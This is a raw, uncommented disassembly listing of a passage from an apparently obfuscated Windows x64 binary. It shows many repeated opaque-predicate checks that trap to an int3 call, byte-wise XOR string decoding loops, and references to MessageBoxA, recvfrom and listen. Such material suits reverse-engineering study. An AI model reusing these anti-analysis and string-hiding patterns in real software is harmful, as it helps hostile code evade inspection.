mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400236c2
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400236e2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
movdqa xmm0, xmmword [0x1400da960]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400da940]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0xbdb171b5
mov dword [rbp + 0xbec], 0x5f414b76
mov dword [rbp + 0xbf0], 0xaab22207
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r15
movabs r13, 0x1db121133
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.1400317e0
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x140023735
mov byte [rbp + 0xbf4], r15b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.140003c08
mov rax, qword gs:[1]
cmp rax, r14
movabs r13, 0x810ab9c58de20e74
jne 0x140023837
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023817
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023817
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023837
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x1400238f4
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400238d4
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400238d4
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400238f4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
lea rcx, [rbp + 0x9f8]
call fcn.140021d50
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140003d18
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.1400328fc
lea rcx, [rbp + 0x9f8]
call fcn.140032838
lea rcx, [rbp + 0x9f8]
call fcn.140004228
mov rax, qword gs:[1]
cmp rax, r14
jne 0x1400239ec
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400239cc
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400239cc
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400239ec
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140023a96
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023a76
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023a76
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023a96
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov dword [rbp - 0x68], 0x70c8002a
mov word [rbp - 0x64], 0x2268
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r15
movabs r13, 0x1db121133
mov qword [rsp + 0x20], r13
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.140031768
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, rsi
jb 0x140023ab5
mov byte [rbp - 0x62], r15b
mov dword [rbp - 0x58], 0x70c81233
mov word [rbp - 0x54], 0x2268
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r15
movabs r13, 0x810ab9c58de20e74
movabs r12, 0x1db121133
mov qword [rsp + 0x20], r12
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.140031768
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, rsi
jb 0x140023b09
mov byte [rbp - 0x52], r15b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.140032b6c
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.140032544
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.140032698
lea rcx, [rbp - 0x68]
call fcn.140003d70
mov rcx, rax
call fcn.140003d18
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.140032384
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.140032698
lea rdx, [0x1400eb8a0]
lea rcx, [rbp + 0xa78]
call fcn.140032544
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.140032698
lea rcx, [rbp + 0xa78]
call fcn.140032838
lea rcx, [rbp + 0xa78]
call fcn.140004228
lea rcx, [rbp + 0xa58]
call fcn.140032838
lea rcx, [rbp + 0xa58]
call fcn.140004228
lea rcx, [rbp + 0xa38]
call fcn.140032838
lea rcx, [rbp + 0xa38]
call fcn.140004228
mov rax, qword gs:[1]
cmp rax, r14
mov r12d, 0x12936b59
mov esi, 0x87e83ea
mov edi, 0x2654f49
jne 0x140023ccd
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023cad
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023cad
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023ccd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140023d86
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023d66
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023d66
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023d86
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
lea rcx, [rbp + 0x1208]
call fcn.1400321ac
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.1400985d0
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140023e4a
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023e2a
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023e2a
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023e4a
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140023ef4
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023ed4
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023ed4
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023ef4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.140003cc0
lea rcx, [rbp + 0x10e8]
call fcn.1400328d4
nop
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140023fca
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023faa
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023faa
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023fca
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140024074
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024054
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024054
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024074
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
lea rcx, [rbp + 0x11e8]
call fcn.1400321ac
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.1400218b8
mov rax, qword gs:[1]
cmp rax, r14
jne 0x14002413f
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002411f
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002411f
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002413f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov dword [rbp + 0x1e0], 0xa6b8e004
mov dword [rbp + 0x1e4], 0xe7bd7336
mov dword [rbp + 0x1e8], 0xa9a56312
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r15
movabs r13, 0x1db121133
mov qword [rsp + 0x20], r13
mov r9d, listen
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.1400316f0
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x140024172
mov byte [rbp + 0x1ec], r15b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.140032e88
mov r12d, reloc.WS2_32.dll_recvfrom
test al, al
movabs r13, 0x810ab9c58de20e74
je 0x140024780
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140024293
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024273
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024273
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024293
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
movdqa xmm0, xmmword [0x1400da900]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0x5dfb1f99
mov word [rbp + 0x7cc], 0x462f
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r15
movabs r14, 0x1db121133
mov qword [rsp + 0x20], r14
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.140031604
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x1400242cb
mov byte [rbp + 0x7ce], r15b
movdqa xmm0, xmmword [0x1400da880]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400da730]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400daa00]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400da9b0]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400da860]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400daa40]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400da7f0]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400da870]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x68f21137
mov word [rbp + 0xde4], 0xa23d
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r15
mov r14d, 0xead65452
movabs r13, 0x1db121133
mov qword [rsp + 0x20], r13
mov r9d, 0x86
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.140031678
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, 0x86
jb 0x1400243b4
mov byte [rbp + 0xde6], r15b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rax, qword gs:[1]
cmp rax, r14
movabs r13, 0x810ab9c58de20e74
jne 0x1400244d5
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400244b5
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400244b5
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400244d5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x14002457f
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002455f
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002455f
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002457f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
cmp edi, 7
je 0x140031377
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140024643
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024623
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024623
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024643
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400976a8
int3
movdqa xmm0, xmmword [0x1400da810]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400da890]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400da6e0]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r15
movabs r13, 0x1db121133
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.140031590
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x140024680
mov byte [rbp + 0xc57], r15b
lea rcx, [rbp + 0xc28]
call fcn.14009bafc
mov rax, qword gs:[1]
cmp rax, r14
movabs r13, 0x810ab9c58de20e74
mov edi, 0x12936b59
jne 0x140024785
mov rax, qword gs:[0x32]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024760
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024760
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024785
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov edi, 0x12936b59
mov rax, qword gs:[1]
cmp rax, r14
jne 0x14002482f
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002480f
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002480f
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002482f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.1400326f4
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.140021e98
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.1400325d0
lea rcx, [rbp + 0xab8]
call fcn.140032838
lea rcx, [rbp + 0xab8]
call fcn.140004228
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140024933
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024913
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024913
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024933
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x1400249dd
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400249bd
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400249bd
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400249dd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.1400328a8
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140024a95
mov rax, qword gs:[0x32]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024a75
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024a75
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024a95
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140024b3f
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024b1f
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024b1f
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024b3f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.14009bf6c
mov rbx, rax
mov qword [rbp - 0x40], rax
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140024bfc
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024bdc
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024bdc
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024bfc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140024ca6
mov rax, qword gs:[0x32]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024c86
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024c86
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024ca6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov r14, qword [rbp + 0x10f8]
mov rax, qword gs:[1]
mov esi, 0xead65452
cmp rax, rsi
jne 0x140024d71
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x57e6aa4
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024d51
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024d51
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024d71
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
test rbx, rbx
je 0x140031044
cmp qword [rbp + 0x10f8], r15
je 0x140031044
mov rax, qword gs:[1]
cmp rax, rsi
jne 0x140024e31
mov rax, qword gs:[0x32]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rdi
mov qword [rbp + 0xf38], rax
